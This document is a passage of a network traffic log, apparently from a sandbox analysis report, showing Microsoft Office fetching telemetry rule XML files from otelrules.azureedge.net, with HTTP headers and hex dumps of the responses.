2024-10-29 09:47:52 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:52 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094752Z-16849878b78xblwksrnkakc08w00000005ng000000005gc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:52 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:53 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:53 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:53 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b5ff136b-401e-005b-7aea-269c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094753Z-r197bdfb6b4grkz4xgvkar0zcs0000000600000000003ap9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:53 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:53 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:53 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:53 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094753Z-16849878b78tg5n42kspfr0x4800000006c0000000006wkm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:53 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:53 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:53 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 353927da-e01e-0003-452b-290fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094753Z-r197bdfb6b4c8q4qvwwy2byzsw00000006h000000000a5ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:53 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:53 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:53 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:53 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 45d05379-301e-006e-0c9a-29f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094753Z-r197bdfb6b4c8q4qvwwy2byzsw00000006ng000000004hqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:53 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:53 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:53 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 98c82924-f01e-0020-04fc-26956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094753Z-r197bdfb6b4hsj5bywyqk9r2xw00000007tg0000000050u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:53 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:54 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:54 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094754Z-16849878b78g2m84h2v9sta290000000059000000000690u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:54 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:54 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:54 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094754Z-16849878b786fl7gm2qg4r5y7000000006n0000000007hyp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:54 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:54 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:54 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 8f4dae4f-901e-008f-19cb-2767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094754Z-17c5cb586f6wmhkn5q6fu8c5ss00000005rg000000003shx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:54 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:54 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:54 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094754Z-15b8d89586fxdh48qknu9dqk2g0000000a8g000000007x76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:54 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:54 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:54 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094754Z-16849878b7828dsgct3vrzta7000000004ng00000000g6ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:54 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:55 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:55 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:55 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 258e3987-401e-0047-4dfa-288597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094755Z-17c5cb586f6mhqqby1dwph2kzs00000001n0000000005zqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
